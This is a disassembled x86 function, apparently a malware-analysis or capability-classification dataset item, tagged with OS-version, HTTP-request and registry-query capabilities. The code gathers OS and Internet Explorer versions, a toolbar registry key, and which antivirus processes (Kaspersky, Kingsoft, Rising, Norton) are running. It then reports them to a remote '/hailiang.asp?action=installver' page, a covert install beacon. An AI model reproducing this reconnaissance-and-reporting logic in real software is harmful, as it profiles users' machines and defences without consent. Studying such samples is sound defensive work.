Function at 0x4010a0
Capabilities:
Check os version
Create http request
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x4082e7
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c0
push esi
push 0
push 0
push 0
push 0
push str.GOOGLE
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esp + 0x20], eax
jne 0x4010ff
mov eax, dword [esp + 0x1d4]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
xor al, al
pop esi
mov ecx, dword [esp + 0x1c0]
mov dword fs:[0], ecx
add esp, 0x1cc
ret
push ebx
push ebp
push edi
push 0x40ce00
lea ecx, [esp + 0x14]
call fcn.00407d34
push str._hailiang.asp_actioninstallver
lea ecx, [esp + 0x14]
mov dword [esp + 0x1dc], 0
call sub.MFC42.DLL_CString::operator
mov ecx, dword [esp + 0x1e0]
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push str.mac
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x20]
mov byte [esp + 0x1d8], 1
call fcn.00403010
lea edx, [esp + 0x30]
lea ecx, [esp + 0x20]
push edx
mov byte [esp + 0x1dc], 2
call fcn.00403050
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x1dc], 3
call fcn.00407d22
lea ecx, [esp + 0x30]
mov byte [esp + 0x1d8], 2
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
call sub.MFC42.DLL_CString::operator_1
push str.lianmeng
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push 0x40cdfc
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator_1
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.alexa
lea ecx, [esp + 0x14]
stosb byte es:[edi], al
mov dword [esp + 0x2c], 1
mov dword [esp + 0x28], 0x80
call sub.MFC42.DLL_CString::operator
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0xb4]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xb4]
push str.SOFTWAREClassesCLSID3CEFF6CD_6F08_4e4d_BCCD_FF7415288C3B
push ecx
call esi
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 8
lea edx, [esp + 0x14]
lea eax, [esp + 0xb4]
push edx
push 0xf003f
push 0
push eax
push 0x80000002
call ebp
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x34]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x24]
lea edx, [esp + 0x34]
push ecx
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x2c]
push edx
push eax
push 0
push 0
push ecx
call ebx
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x34]
lea ecx, [esp + 0x1c]
push eax
call sub.MFC42.DLL_CString::CString_2
mov ecx, dword [esp + 0x1c]
push str.Alexa
push ecx
mov byte [esp + 0x1e0], 4
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
test eax, eax
jne 0x4012ad
push 0x40c184
jmp 0x4012b2
push 0x40c180
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push str.ie
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0xb4]
lea edx, [esp + 0xb4]
push str.SOFTWAREMicrosoftInternet_ExplorerVersion_Vector
push edx
rep stosd dword es:[edi], eax
call esi
add esp, 8
lea eax, [esp + 0x14]
lea ecx, [esp + 0xb4]
push eax
push 0xf003f
push 0
push ecx
push 0x80000002
call ebp
mov ecx, 0x20
xor eax, eax
lea edi, [esp + 0x34]
lea edx, [esp + 0x24]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x34]
push edx
mov edx, dword [esp + 0x18]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0x40c140
push edx
call ebx
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
cmp eax, 6
jne 0x401355
push 0x40c13c
jmp 0x40135f
cmp eax, 7
jne 0x401368
push 0x40c138
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
push str.system
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0x134]
lea edx, [esp + 0x134]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x138], 0x9c
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov eax, dword [esp + 0x144]
pop edi
sub eax, 2
pop ebp
pop ebx
jne 0x401402
mov eax, dword [esp + 0x12c]
cmp eax, 4
jne 0x4013cc
mov eax, dword [esp + 0x130]
test eax, eax
jne 0x401402
push str.NT_4.0
jmp 0x4013f9
cmp eax, 5
jne 0x401402
mov eax, dword [esp + 0x130]
test eax, eax
jne 0x4013e3
push str.2000
jmp 0x4013f9
cmp eax, 1
jne 0x4013ef
push 0x40c118
jmp 0x4013f9
cmp eax, 2
jne 0x401402
push str.2003
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::operator
push str.shada
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::operator
push str.avp.exe
call fcn.00401000
add esp, 4
test eax, eax
jne 0x40153d
push str.AVP.EXE
call fcn.00401000
add esp, 4
test eax, eax
jne 0x40153d
push str.KWatch.EXE
call fcn.00401000
add esp, 4
test eax, eax
jne 0x401536
push str.KPFW32.EXE
call fcn.00401000
add esp, 4
test eax, eax
jne 0x401536
push str.kpfw32.exe
call fcn.00401000
add esp, 4
test eax, eax
jne 0x401536
push str.KVMonXP.kxp
call fcn.00401000
add esp, 4
test eax, eax
jne 0x40152f
push str.KVWSC.EXE
call fcn.00401000
add esp, 4
test eax, eax
jne 0x40152f
push str.KVSRVXP.EXE
call fcn.00401000
add esp, 4
test eax, eax
jne 0x40152f
push str.RavMon.exe
call fcn.00401000
add esp, 4
test eax, eax
jne 0x401528
push str.RavStub.exe
call fcn.00401000
add esp, 4
test eax, eax
jne 0x401528
push str.RavMonD.exe
call fcn.00401000
add esp, 4
test eax, eax
jne 0x401528
push str.ccSvcHst.exe
call fcn.00401000
add esp, 4
test eax, eax
jne 0x401521
push str.AppSvc32.exe
call fcn.00401000
add esp, 4
test eax, eax
jne 0x401521
push str.ccApp.exe
call fcn.00401000
add esp, 4
test eax, eax
jne 0x401521
push 0x40c058
jmp 0x401542
push 0x40c050
jmp 0x401542
push 0x40c048
jmp 0x401542
push 0x40c040
jmp 0x401542
push 0x40c038
jmp 0x401542
push 0x40c030
lea ecx, [esp + 8]
call sub.MFC42.DLL_CString::operator
mov eax, dword [esp + 4]
mov esi, dword [esp + 0x20]
push 0
push 0x80000000
push 0
push 0
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
test eax, eax
jne 0x4015d0
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [esp + 0x10]
mov byte [esp + 0x1cc], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x1cc], 1
call fcn.00403040
lea ecx, [esp + 0xc]
mov byte [esp + 0x1cc], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 4]
mov dword [esp + 0x1cc], 0xffffffff
call sub.MFC42.DLL_CString::CString
xor al, al
pop esi
mov ecx, dword [esp + 0x1c0]
mov dword fs:[0], ecx
add esp, 0x1cc
ret
lea ecx, [esp + 0x10]
mov byte [esp + 0x1cc], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x1cc], 1
call fcn.00403040
lea ecx, [esp + 0xc]
mov byte [esp + 0x1cc], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 4]
mov dword [esp + 0x1cc], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1c4]
mov al, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x1cc
ret